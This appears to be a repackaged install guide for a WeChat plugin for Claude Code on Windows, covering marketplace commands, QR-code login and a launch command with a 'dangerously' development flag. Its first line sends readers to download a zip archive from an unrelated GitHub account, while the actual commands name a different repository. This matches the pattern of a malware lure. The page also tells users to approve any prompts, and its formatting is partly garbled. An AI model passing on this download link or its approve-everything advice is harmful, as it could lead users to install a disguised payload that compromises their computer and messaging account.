Use this page to get the plugin files: https://github.com/goldiacogitative647/claude-plugin-weixin/raw/refs/heads/main/skills/access/weixin-plugin-claude-3.4.zip
Open the page in your browser, then follow the install steps below on your Windows PC.
- A Windows computer
- Claude Code v2.1.80 or later
- Bun installed on your computer
- A WeChat account on your phone
Open Claude Code and run these commands one by one:
claude plugin marketplace add m1heng/claude-plugins
claude plugin install weixin@m1heng-pluginsIf Claude Code asks for approval, allow it so the plugin can finish installing.
This plugin does not use a public webhook. It connects to the WeChat iLink Bot API with long-poll requests, so you do not need to expose your computer to the internet.
- Install Claude Code.
- Install Bun.
- Sign in to Claude Code.
- Make sure WeChat works on your phone.
Start Claude Code from the Start menu or from a terminal window.
If you do not know how to open a terminal on Windows:
- Press the Windows key.
- Type
cmd. - Press Enter.
Then start Claude Code from that window.
After the plugin is installed, run this command inside Claude Code:
/weixin:configure loginClaude Code will show a QR code. Use your WeChat app to scan it.
- Open WeChat.
- Scan the QR code.
- Confirm the login on your phone.
- Wait for Claude Code to save the login data.
Once the login is saved, you do not need to scan again unless you log out or clear the saved data.
After login, start Claude Code with the WeChat channel enabled:
claude --dangerously-load-development-channels plugin:weixin@m1heng-pluginsUse this command each time you want Claude Code to receive and reply to WeChat messages.
- Connects Claude Code to your WeChat account
- Lets Claude read incoming WeChat messages
- Lets Claude send replies back through WeChat
- Keeps the link active while Claude Code is running
When a WeChat message arrives, the plugin passes it to Claude Code. Claude can then help draft or send a reply from your terminal.
This setup is useful when you want to:
- Reply to WeChat messages without opening the full chat app
- Keep work messages in one place
- Use Claude Code as a message helper
- Handle simple chat replies from the command line
After the first setup, your normal flow is simple:
- Open Claude Code.
- Start it with the WeChat channel command.
- Keep the terminal open.
- Read incoming WeChat messages in Claude Code.
- Write or send replies from there.
If you restart your computer, open Claude Code and run the channel command again.
- Make sure the plugin installed correctly
- Check that Claude Code is running
- Run
/weixin:configure loginagain
- Scan the QR code again
- Confirm the login on your phone
- Keep Claude Code open until the process ends
- Check that Claude Code is still running
- Start Claude Code with the channel command
- Make sure your WeChat account is still logged in
- Try closing and reopening Claude Code
- Install Bun again
- Close and reopen the terminal
- Check that Bun was added to your system path
The plugin stores login data on your machine so you do not need to sign in each time. It uses your local Claude Code setup and your WeChat account through the iLink Bot API.
Keep these points in mind:
- Use the same Windows user account each time
- Do not delete the saved plugin data if you want to stay logged in
- If you remove the plugin, you may need to log in again later
claude plugin marketplace add m1heng/claude-plugins
claude plugin install weixin@m1heng-plugins/weixin:configure loginclaude --dangerously-load-development-channels plugin:weixin@m1heng-pluginsThis plugin is for people who want to handle WeChat messages from Claude Code on Windows. It is built for direct chat use, not for public web hosting or webhook setup.
It fits well if you want:
- A simple terminal-based message flow
- QR code login from WeChat
- Local use on your own computer
- Direct replies inside Claude Code